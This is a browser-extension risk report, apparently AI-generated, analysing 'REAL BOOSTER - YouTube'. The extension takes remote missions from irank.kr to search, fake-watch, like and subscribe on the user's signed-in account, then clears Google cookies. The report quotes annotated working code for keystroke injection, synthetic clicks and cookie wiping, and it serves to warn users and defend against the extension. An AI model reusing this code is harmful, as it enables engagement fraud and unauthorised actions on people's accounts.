Is REAL BOOSTER - YouTube safe?

High risk

REAL BOOSTER - YouTube fetches remote 'missions' and auto-searches, watches, likes, and subscribes on YouTube on the user's behalf.

The extension periodically polls a control server (www.irank.kr) for a mission specifying a search keyword and a target video or channel, then simulates human typing to search for it, opens the video, and fakes a watch duration that covers any pre-roll ad. If the user is signed into YouTube, it dispatches synthetic click events to like the video and subscribe to the channel, then reports the outcome back to the server. Between missions it clears YouTube/Google cookies and site storage, signing the user out so the next mission starts from a fresh identity.

eyerankv0.39.12Chrome Web Store
75Risk
Who publishes it

eyerank - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-506
SourceAI FOUND

REAL BOOSTER runs remote YouTube search, watch, like and subscribe jobs

When you start REAL BOOSTER while signed into YouTube, it fetches a search keyword and target video from irank.kr, types the keyword into the search box, watches the video, then clicks Like and Subscribe without showing you the target.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You click start in the REAL BOOSTER popup while signed into your YouTube/Google account.

The extension did this

The extension fetches a mission from a remote server, then searches, watches, likes and subscribes on your account without showing you the target.

02EvidenceFIELD TABLE
Mission fields the extension reads from irank.kr's response
FieldValueWhy it matters
Search keyword (KW)
wireless earbuds reviewKeyword the extension types into your YouTube search bar, one character at a time.
Target video ID (VID)
dQw4w9WgXcQThe YouTube video the extension opens and fake-watches to inflate its view count.
Like/Subscribe flags (MYL/MYS)
MYL=1, MYS=1Tells the extension whether to also click Like and Subscribe on the target.
Device ID (pn)
a1B2c3D4e5F6A per-install identifier the extension sends with every mission request.
03EvidenceCODE COMPARE
The code that does this

Character-by-character search injection and form submit

What it actually does
set_query / query_submit (annotated)scripts/background.js
// Types one character of the C2-supplied keyword into YouTube's own search box
function set_query(query, cur_pos){
	var q=query.substr(cur_pos,1);                 // next character of the mission keyword
	var inp=document.getElementsByName('search_query');
	inp[0].value=inp[0].value+q;                    // append it to the search box value
	var ev=new Event('input');
	inp[0].dispatchEvent(ev);                       // fire input event so YouTube's JS reacts as if typed

	return "1";
}

// Submits the search form once every character has been typed in
function query_submit(){
	document.forms['search-form'].submit();

	return "OK!";
}
run_setquery (annotated)scripts/background.js
// Alarm-driven loop: injects the mission keyword one keystroke per tick, then submits
async function run_setquery() {

	chrome.storage.local.get('GB_TID', function(result_TID){
		TID = result_TID.GB_TID;                     // tab ID of the YouTube tab opened for this mission

		chrome.storage.local.get('GB_query', function(result_query){
			if (result_query.GB_query===undefined){
				query = '';
			}else{
				query=result_query.GB_query;             // the C2-supplied keyword (KW)
			}

			chrome.storage.local.get('GB_cur_pos', function(result_cur_pos){
				cur_pos=result_cur_pos.GB_cur_pos;       // how many characters typed so far

				if (cur_pos<query.length){
					// still mid-word: inject the next character into the live YouTube tab
					chrome.scripting.executeScript(
					{
						target: {tabId: TID},
						func: set_query,
						args: [query, cur_pos],
					},
					(queryResults) => {
						cur_pos++;
						chrome.storage.local.set({'GB_cur_pos': cur_pos});

						// human-like delay before the next character
						chrome.alarms.create('alarm_run_setquery', {when: Date.now() + wait()});
					});

				} else {
					// full keyword typed: submit the search form for the user
					chrome.scripting.executeScript(
					{
						target: {tabId: TID},
						func: query_submit,
						args: [query],
					},
					(submitResults) => {

						if (submitResults){
							_DEBUG_Print('query_submit: ' + submitResults);

							scrpage=0;
							chrome.storage.local.set({'GB_scrpage': scrpage});
						}

					});
				}
			}); /* GB_cur_pos */
		}); /* GB_query */
	}); /* GB_TID */

}
04EvidenceCODE COMPARE
The code that does this

Synthetic clicks on the YouTube Like and Subscribe buttons

What it actually does
set_like (annotated)scripts/background.js
// Injected into the YouTube tab; finds the Like button and fakes a real mouse click on it
function set_like(e){

	var r='F';
	var mc=document.getElementById('menu-container');
	if (mc){
		var ytbr=mc.getElementsByTagName('ytd-toggle-button-renderer');   // the Like button component
		if (0<ytbr.length){
			var event1=document.createEvent('MouseEvents');
			event1.initEvent('mousedown',true,true);
			ytbr[0].dispatchEvent(event1);                                  // synthetic mousedown

			var event2=document.createEvent('MouseEvents');
			event2.initEvent('click',true,true);
			ytbr[0].dispatchEvent(event2);                                  // synthetic click, no real cursor involved
			r='T';
		}
	}
	return r;
}
set_subscribe (annotated)scripts/background.js
// Injected into the YouTube tab; finds the channel's Subscribe button and fakes a click
function set_subscribe(e){

	var r='F';
	var mc=document.getElementsByTagName('tp-yt-paper-button');
	if(mc){
		for(var i=0;i<mc.length;i++){
			var ele=mc.item(i);
			if(ele.getAttribute('noink') === null){
			}else{                                                          // the Subscribe button carries a 'noink' attribute
				var event1=document.createEvent('MouseEvents');
				event1.initEvent('mousedown',true,true);
				ele.dispatchEvent(event1);

				var event2=document.createEvent('MouseEvents');
				event2.initEvent('click',true,true);
				ele.dispatchEvent(event2);                                    // synthetic click subscribes the account
				r='T';
				break;
			}
		}
	}
	return r;
}
05EvidenceFIELD TABLE
Fields reported back to irank.kr after each mission
FieldValueWhy it matters
Search query run (qr)
wireless earbuds reviewThe exact search phrase the extension typed on your behalf, sent back as proof of completion.
Logged in flag (lg)
1Whether you were signed into YouTube/Google when the mission ran.
Subscribed flag (sc)
1Whether the synthetic Subscribe click succeeded.
Liked flag (lk)
1Whether the synthetic Like click succeeded.
Watch time (pt)
182Seconds the video played, used in the operator's fake-engagement billing.
Extension ID (id)
mgkfnkdoiiddloaglnbencbmglcbldpnYour browser's install ID for this extension, sent with every report.
06EvidenceCODE COMPARE
The code that does this

Cookie, storage and IndexedDB wipe between missions

What it actually does
deleteCookies (annotated)scripts/background.js
// Wipes every YouTube and Google cookie, forcing the user out of their signed-in session
function deleteCookies() {

	chrome.cookies.getAll({ 'domain': 'youtube.com' }, async function(cookies) {
		console.log('startingCookies::', cookies);

		for (let i = 0; i < cookies.length; i++) {
			await chrome.cookies.remove({'url': 'https://youtube.com', 'name': cookies[i].name});  // deletes each youtube.com cookie
		}

		const finalCookies = await chrome.cookies.getAll({'domain': 'youtube.com'});
		console.log('finalCookies::', finalCookies);
	})


	chrome.cookies.getAll({ 'domain': 'google.com' }, async function(cookies) {
		for (let i = 0; i < cookies.length; i++) {
			await chrome.cookies.remove({'url': 'https://google.com', 'name': cookies[i].name});   // deletes the Google account session cookies
		}
	})

	chrome.cookies.getAll({ 'domain': 'google.co.jp' }, async function(cookies) {
		for (let i = 0; i < cookies.length; i++) {
			await chrome.cookies.remove({'url': 'https://google.co.jp', 'name': cookies[i].name});
		}
	})

}
// called from init(), alongside clears of sessionStorage, localStorage and IndexedDB,
// and deleteDomainCookies('youtube.com') for a second pass
07EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 0.39.12. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on youtube.com

    *://*.youtube.com/

  • Read and change your data on chaver.net

    *://*.chaver.net/

  • Read and change your data on irank.kr

    *://*.irank.kr/

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

  • Act on the current tab, but only after you click the extension

    activeTab

  • Run its own code inside the pages you visit

    scripting

  • Schedule its own background tasks

    alarms

  • Read and change cookies, including the ones that keep you signed in

    cookies

Where it sends data

Destinations our analysis observed REAL BOOSTER - YouTube contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.irank.kr

    REAL BOOSTER - YouTube sends data to www.irank.kr. No other extension we have analysed sends data here.

Updated 30 September 2026mgkfnkdoiiddloaglnbencbmglcbldpn